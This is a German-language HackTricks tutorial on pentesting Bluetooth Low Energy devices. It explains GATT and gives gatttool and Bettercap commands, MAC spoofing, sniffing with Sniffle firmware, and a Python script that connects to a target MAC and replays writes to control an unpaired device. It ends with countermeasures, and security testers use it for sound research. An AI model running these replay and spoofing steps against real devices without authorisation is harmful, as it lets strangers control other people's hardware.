Pentesting BLE - Bluetooth Low Energy
Reading time: 9 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Einführung
Verfügbar seit der Bluetooth-4.0-Spezifikation, verwendet BLE nur 40 Kanäle und deckt den Bereich von 2400 bis 2483,5 MHz ab. Im Gegensatz dazu verwendet traditionelles Bluetooth 79 Kanäle in demselben Bereich.
BLE-Geräte kommunizieren, indem sie Advertising-Pakete (Beacons) senden; diese Pakete senden die Existenz des BLE-Geräts an andere Geräte in der Nähe. Diese Beacons übermitteln manchmal auch Daten.
Das empfangende Gerät, auch Zentralgerät genannt, kann auf ein Advertising-Paket mit einer SCAN request antworten, die speziell an das Advertising-Gerät gesendet wird. Die Antwort auf diesen Scan verwendet die gleiche Struktur wie das Advertising-Paket, enthält jedoch zusätzliche Informationen, die nicht in die ursprüngliche Advertising-Anfrage passten, wie z. B. den vollständigen Gerätenamen.
Das Präambel-Byte synchronisiert die Frequenz, während die vier-Byte Access Address eine Verbindungskennung ist, die in Szenarien verwendet wird, in denen mehrere Geräte versuchen, auf denselben Kanälen Verbindungen herzustellen. Anschließend enthält die Protocol Data Unit (PDU) die Advertising-Daten. Es gibt mehrere Typen von PDU; die am häufigsten verwendeten sind ADV_NONCONN_IND und ADV_IND. Geräte verwenden den PDU-Typ ADV_NONCONN_IND, wenn sie keine Verbindungen akzeptieren und Daten nur im Advertising-Paket übertragen. Geräte verwenden ADV_IND, wenn sie Verbindungen zulassen und das Senden von Advertising-Paketen einstellen, sobald eine Verbindung hergestellt wurde.
GATT
Das Generic Attribute Profile (GATT) definiert, wie das Gerät Daten formatieren und übertragen sollte. Wenn du die Angriffsfläche eines BLE-Geräts analysierst, konzentrierst du dich häufig auf das GATT (oder GATTs), weil darüber die Gerätefunktionalität ausgelöst wird und wie Daten gespeichert, gruppiert und verändert werden. Das GATT listet die Charakteristiken, Deskriptoren und Dienste eines Geräts in einer Tabelle als 16- oder 32-Bit-Werte auf. Eine Charakteristik ist ein Datenwert, der zwischen dem Zentralgerät und dem Peripheriegerät gesendet wird. Diese Charakteristiken können Deskriptoren haben, die zusätzliche Informationen über sie bereitstellen. Charakteristiken werden häufig in Diensten gruppiert, wenn sie mit der Ausführung einer bestimmten Aktion zusammenhängen.
Enumeration
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool ermöglicht, eine connection zu einem anderen Gerät herzustellen, dessen characteristics aufzulisten sowie seine Attribute zu lesen und zu schreiben.
GATTTool kann mit der Option -I
eine interactive shell starten:
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]
# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)
# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16
# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Bettercap
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing und aktive Kontrolle nicht gepaarter BLE-Geräte
Viele kostengünstige BLE-Peripheriegeräte erzwingen kein pairing/bonding. Ohne bonding wird die Link Layer encryption nie aktiviert, sodass ATT/GATT traffic im cleartext übertragen wird. Ein off-path sniffer kann der Verbindung folgen, GATT-Operationen dekodieren, um characteristic handles und values zu ermitteln, und jeder nahegelegene Host kann sich dann verbinden und diese writes erneut ausführen, um das Gerät zu steuern.
Sniffing with Sniffle (CC26x2/CC1352)
Hardware: ein Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), mit der Sniffle-Firmware von NCC Group neu geflasht.
Installieren Sie Sniffle und dessen Wireshark extcap unter Linux:
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
Flashe Sonoff mit der Sniffle-Firmware (stelle sicher, dass dein serielles Gerät übereinstimmt, z. B. /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
In Wireshark über das Sniffle extcap mitschneiden und durch Filtern schnell zu state-changing writes pivoten:
_ws.col.info contains "Sent Write Command"
Das hebt ATT Write Commands vom client hervor; handle und value bilden oft direkt Geräteaktionen ab (z. B. write 0x01 an eine buzzer/alert characteristic, 0x00 zum Stoppen).
Sniffle CLI — schnelle Beispiele:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin funktioniert ebenfalls. Bei kleinen/günstigen Nordic-Dongles überschreibt man typischerweise den USB bootloader, um die Sniffer-Firmware zu laden, daher behält man entweder einen dedizierten Sniffer-Dongle oder benötigt später einen J-Link/JTAG, um den Bootloader wiederherzustellen.
Aktive Steuerung über GATT
Sobald Sie aus dem mitgeschnittenen Traffic ein beschreibbares Characteristic-Handle und den Wert identifiziert haben, verbinden Sie sich als beliebiges Central und führen denselben Write aus:
-
Mit Nordic nRF Connect for Desktop (BLE app):
-
Wählen Sie den nRF52/nRF52840-Dongle aus, scannen Sie und verbinden Sie sich mit dem Ziel.
-
Durchsuchen Sie die GATT-Datenbank, finden Sie die Ziel-Characteristic (hat oft einen freundlichen Namen, z. B. Alert Level).
-
Führen Sie einen Write mit den mitgeschnappten Bytes aus (z. B. 01 zum Auslösen, 00 zum Stoppen).
-
Automatisieren unter Windows mit einem Nordic-Dongle mittels Python + blatann:
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
Betriebsnotizen und Gegenmaßnahmen
- Bevorzugen Sie Sonoff+Sniffle unter Linux für robustes channel hopping und connection following. Halten Sie einen Ersatz-Nordic-Sniffer als Backup bereit.
- Ohne pairing/bonding kann ein in der Nähe befindlicher Angreifer writes beobachten und diese replayen oder eigene craften, um sie an unauthenticated writable characteristics zu senden.
- Gegenmaßnahmen: require pairing/bonding und Verschlüsselung durchsetzen; die characteristic permissions so setzen, dass authenticated writes erforderlich sind; unauthenticated writable characteristics minimieren; GATT ACLs mit Sniffle/nRF Connect validieren.
Referenzen
- Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners
- Sniffle – A sniffer for Bluetooth 5 and 4.x LE
- Firmware installation for Sonoff USB Dongle (Sniffle README)
- Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)
- Nordic nRF Sniffer for Bluetooth LE
- nRF Connect for Desktop
- blatann – Python BLE library for Nordic devices
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.